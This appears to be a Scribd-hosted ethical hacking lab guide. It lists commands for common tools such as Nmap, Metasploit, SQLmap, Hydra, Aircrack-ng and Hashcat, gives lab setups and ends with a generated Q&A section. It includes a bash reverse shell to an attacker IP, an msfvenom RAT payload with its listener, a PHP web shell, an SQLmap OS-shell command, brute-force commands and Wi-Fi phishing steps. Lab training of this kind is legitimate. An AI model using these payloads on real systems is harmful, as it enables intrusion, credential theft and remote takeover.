0% found this document useful (0 votes)
29 views5 pages

Complete Ethical Hacking Lab Guide

This document is a comprehensive guide for practical ethical hacking, detailing installation and usage of essential hacking tools along with ready-made lab setups for hands-on practice. It includes instructions for tools like Nmap, Metasploit, SQLmap, and others, covering various hacking techniques such as network scanning, password cracking, and web application exploitation. The guide emphasizes legal use in controlled environments and provides specific lab setups for Wi-Fi hacking, web application testing, remote access trojans, forensics, and password cracking.

Uploaded by

yohel52580
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
29 views5 pages

Complete Ethical Hacking Lab Guide

This document is a comprehensive guide for practical ethical hacking, detailing installation and usage of essential hacking tools along with ready-made lab setups for hands-on practice. It includes instructions for tools like Nmap, Metasploit, SQLmap, and others, covering various hacking techniques such as network scanning, password cracking, and web application exploitation. The guide emphasizes legal use in controlled environments and provides specific lab setups for Wi-Fi hacking, web application testing, remote access trojans, forensics, and password cracking.

Uploaded by

yohel52580
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

■ Complete Practical Ethical Hacking Guide

(Expanded with Labs) ■


This document is a **complete hacking lab and tools manual**. It contains: 1. Step-by-step
installation & usage of the most important hacking tools. 2. Practical commands for each tool. 3.
Ready-made LAB setups (Wi-Fi, Web Apps, RATs, Forensics, etc.) for hands-on practice. ■■
DISCLAIMER: Use only in legal test labs (HackTheBox, TryHackMe, DVWA, Metasploitable, local
Wi-Fi lab, etc.).

Tool 1: Nmap (Network Mapper)


Nmap is used for network discovery, scanning, and vulnerability detection.
# Basic scan
nmap [Link]
# OS detection
nmap -O [Link]
# Version detection
nmap -sV [Link]
# Aggressive scan
nmap -A [Link]

Tool 2: Netcat (nc)


Netcat is the Swiss army knife of networking: scanning, transfers, shells.
# Port scanning
nc -zv [Link] 20-1000
# Banner grabbing
nc [Link] 80
# Reverse shell
bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1

Tool 3: Metasploit Framework


Metasploit is a powerful exploitation framework.
# Start metasploit
msfconsole
# Search for exploits
search vsftpd
# Use exploit
use exploit/unix/ftp/vsftpd_234_backdoor
# Set target
set RHOST [Link]
# Set payload
set PAYLOAD linux/x86/meterpreter/reverse_tcp
# Run exploit
exploit

Tool 4: SQLmap
Automated SQL injection tool.
# Basic SQL injection test
sqlmap -u "[Link]
# Dump database
sqlmap -u "[Link] --dump
# Get OS shell
sqlmap -u "[Link] --os-shell

Tool 5: Hydra
Fast brute force password cracking tool for many protocols.
# SSH brute force
hydra -l root -P /usr/share/wordlists/[Link] ssh://[Link]
# FTP brute force
hydra -V -f -l admin -P [Link] [Link]

Tool 6: Aircrack-ng
Wireless network cracking suite.
# Monitor mode
airmon-ng start wlan0
# Capture packets
airodump-ng wlan0mon
# Crack WPA/WPA2
aircrack-ng -w [Link] [Link]

Tool 7: Wifite
Automated Wi-Fi hacking tool.
# Run automated attacks
wifite
# Target a specific network
wifite -i wlan0mon --essid <SSID>

Tool 8: Wireshark
GUI packet sniffer and analyzer.
# Start capture on eth0
wireshark -i eth0
# Capture on wlan0 with filter
wireshark -i wlan0 -k -Y "http

Tool 9: Burp Suite


Web application security testing tool.
# Start Burp
burpsuite
# Configure proxy in browser ([Link]:8080)
# Intercept traffic, scan for vulnerabilities
Tool 10: Hashcat
Advanced password cracking tool.
# Crack MD5 hash
hashcat -m 0 [Link] [Link]
# Crack SHA256 hash
hashcat -m 1400 [Link] [Link]

Tool 11: John the Ripper


Password cracker.
# Crack passwords
john --wordlist=/usr/share/wordlists/[Link] [Link]
# Show cracked passwords
john --show [Link]

Tool 12: Remote Access Trojans (RATs)


Used for remote control of systems (educational use in labs).
# Example with Metasploit payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f exe > [Link]

Tool 13: Web Shells


Malicious scripts uploaded to web servers for remote access.
# Example PHP web shell (educational)
<?php system($_GET['cmd']); ?>

Tool 14: Medusa


Brute-force password cracker similar to Hydra.
# SSH brute force
medusa -h [Link] -u root -P [Link] -M ssh

Tool 15: Autopsy


Digital forensics platform.
# Start Autopsy web interface
autopsy

Tool 16: King Phisher


Phishing campaign tool.
# Start King Phisher server
king-phisher
Tool 17: Wifiphisher
Automated phishing attacks against Wi-Fi clients.
# Start phishing attack
wifiphisher -i wlan0 -p firmware-upgrade

Tool 18: OpenSSL


Toolkit for SSL/TLS and encryption.
# Generate RSA private key
openssl genrsa -out [Link] 2048
# Generate CSR
openssl req -new -key [Link] -out [Link]
# Encrypt file
openssl enc -aes-256-cbc -in [Link] -out [Link]

Tool 19: Immunity Canvas


Commercial exploitation framework, similar to Metasploit.
# Start CANVAS
python [Link]
■ Hacking Lab Setups ■
■ **Wi-Fi Hacking Lab Setup** Tools: Aircrack-ng, Wifite, Wifiphisher 1. Use a laptop/phone with
Wi-Fi adapter supporting monitor mode. 2. Boot Kali Linux or Termux with external Wi-Fi adapter. 3.
Start monitor mode: airmon-ng start wlan0 4. Capture traffic: airodump-ng wlan0mon 5. Launch
attacks with `aircrack-ng` or `wifite`. 6. Simulate phishing with `wifiphisher`. ■ Practice Goal: Learn
WPA2 handshake capture & dictionary cracking.

■ **Web Application Hacking Lab** Tools: Burp Suite, SQLmap, Metasploit, Web Shells 1. Install
DVWA (Damn Vulnerable Web App) on local Apache/PHP/MySQL. 2. Or use **bWAPP, Mutillidae,
Juice Shop** from Docker. 3. Run SQLmap against vulnerable parameters: sqlmap -u
"[Link] --dump 4. Use Burp Suite as a proxy to intercept requests. 5.
Upload a simple web shell (PHP) to gain server control. ■ Practice Goal: Identify and exploit SQLi,
XSS, file upload vulnerabilities.

■ **Remote Access Trojan (RAT) Lab** Tools: Metasploit, msfvenom 1. Generate payload with
msfvenom: msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Link] LPORT=4444 -f exe
> [Link] 2. Start Metasploit listener: use exploit/multi/handler set PAYLOAD
windows/meterpreter/reverse_tcp set LHOST [Link] set LPORT 4444 exploit 3. Execute [Link]
inside Windows VM (Metasploitable/Win7 VM). 4. Gain reverse shell connection. ■ Practice Goal:
Understand RAT behavior in safe sandbox.

■ **Forensics & Incident Response Lab** Tools: Autopsy, Wireshark, Volatility 1. Capture packets
from your own network using Wireshark. 2. Analyze PCAP files for credentials, logins, HTTP traffic.
3. Mount disk images (dd files) into Autopsy. 4. Recover deleted files, analyze browser history,
extract evidence. 5. Use Volatility for memory dumps. ■ Practice Goal: Learn evidence recovery &
network analysis.

■ **Password Cracking Lab** Tools: Hashcat, John the Ripper, Hydra, Medusa 1. Collect hashes
from `/etc/shadow`, database dumps, or challenge files. 2. Crack MD5 with Hashcat: hashcat -m 0
[Link] [Link] 3. Crack SHA256 with John: john --wordlist=[Link] [Link] 4. Test Hydra
against test SSH service: hydra -l root -P [Link] ssh://[Link] ■ Practice Goal: Understand
wordlist attacks, brute-force, hybrid attacks.

Common questions

Powered by AI

Password cracking strategies vary between tools like Hashcat and Medusa due to their methodological differences. Hashcat employs a highly efficient GPU-based approach, making it ideal for attacking complex hashes by utilizing custom wordlists, rule-based attacks, or hybrid methods . Medusa, on the other hand, is more commonly used for brute-force attacks against various network protocols like SSH, leveraging CPU resources and focusing on network-based password authentication . While Hashcat's method relies on processing power for cracking hashes efficiently, Medusa's efficiency lies in its protocol adaptability, though it may be slower compared to GPU-accelerated methods like those used by Hashcat.

SQLmap automates SQL injection attacks by taking a URL as input and testing it for vulnerabilities. It can be used to extract data from databases or even get an operating system shell from a vulnerable server . In a secure test environment, such as installing DVWA on a local server, practitioners use SQLmap to identify and exploit SQL injection vulnerabilities as part of penetration testing . Ethically, SQLmap should only be used in environments where explicit permission has been obtained, as unauthorized use could lead to data breaches and violate cyber laws .

Integrating Burp Suite and SQLmap in web application security testing offers extensive capabilities for identifying and exploiting vulnerabilities. Burp Suite acts as an intercepting proxy that allows testers to modify HTTP requests and responses, helping identify flawed logic and security vulnerabilities like XSS or CSRF . SQLmap works effectively with Burp by probing SQL injection vulnerabilities in the manipulated requests intercepted by Burp, automating the exploitation process . This integration provides a comprehensive methodology for discovering and exploiting serious vulnerabilities, however, the process requires thorough understanding and meticulous handling to avoid unintentionally affecting live systems.

In a controlled lab environment, using Remote Access Trojans (RATs) helps trainees understand the functionality and potential threats posed by RATs. By deploying a RAT in a virtual machine with tools like Metasploit, practitioners can observe how attackers establish control over a system, how the payloads work, and analyze the traffic patterns to develop better defenses . Precautions include ensuring the lab is isolated from any production network, using legally obtained software and target systems, and strictly adhering to ethical guidelines to avoid accidental release or misuse of the tools beyond the lab environment .

Autopsy and Wireshark together provide comprehensive support for digital forensics investigations. Autopsy acts as a graphical interface that allows forensic examination of disk images, recovery of deleted files, and extraction of artifacts like browser histories and metadata . Wireshark complements this by offering detailed network packet capture and analysis capabilities, which are crucial for examining online activities, identifying data exfiltration attempts, or reconstructing sessions from captured network traffic . Limitations include the need for technical expertise to interpret results accurately and the potential for incomplete data recovery if disk images or network captures were not thorough or timely.

John the Ripper is preferred in scenarios where ease of use and compatibility with different hash formats is required, as it is traditionally a CPU-based cracker with a wide user base and support for multiple platforms . Hashcat, however, is optimized for GPU-based cracking, offering faster speeds and the ability to handle more complex hashes such as MD5 and SHA256 on high-performance hardware . The choice between these tools depends on the hardware available and the specific hashing algorithms being targeted. Using Hashcat would require more powerful hardware but can significantly reduce cracking time for complex hashes, whereas John might be easier to deploy in more general-use cases.

Using encryption tools like OpenSSL in a hacking lab environment helps trainees understand the principles of SSL/TLS encryption, certificate generation, and secure communications . This knowledge aids in building secure applications and recognizing vulnerabilities in cryptographic implementations. However, risks include misuse of encryption keys if not securely managed or shared, and potential legal implications if OpenSSL is used to decrypt protected data without permission. Secure handling of sensitive data and ethical guidelines must be strictly followed to prevent data breaches and maintain compliance with cybersecurity laws .

Using Metasploit Framework and Aircrack-ng in hacking labs raises significant ethical implications due to their potent capabilities in exploiting system vulnerabilities and breaking into secure networks. Ethically, these tools should only be utilized in environments where clear permissions have been secured, such as in controlled lab settings like HackTheBox and legal penetration tests . Metasploit is effective in identifying and exploiting vulnerabilities in systems and applications, while Aircrack-ng focuses on compromising Wi-Fi networks by capturing and decrypting wireless traffic . Together, they complement each other by allowing a comprehensive penetration test that includes both wired and wireless network analysis and exploitation, covering multiple layers of infrastructure security.

Configuring a phishing campaign with Wifiphisher allows security professionals to understand how deceptive techniques can be used to compromise Wi-Fi clients by simulating firmware upgrade scams or fake access points . This understanding is crucial for developing countermeasures and educating users on recognizing and avoiding phishing attempts. Legal boundaries include ensuring that such simulations are conducted only on networks with explicit permission from the network owner and in compliance with local security and privacy laws to prevent unauthorized access or potential data interception .

Nmap and Wireshark serve different purposes in network analysis. Nmap is primarily used for network discovery, scanning, and vulnerability detection, providing information about hosts, services, and potential security issues . Wireshark, on the other hand, is a packet sniffing tool used for deep packet analysis, allowing users to capture and analyze network traffic to observe the data packets exchanged between systems . While Nmap gives a broader view of the network's structure and potential vulnerabilities, Wireshark offers detailed insights into the traffic and data flows on the network.

You might also like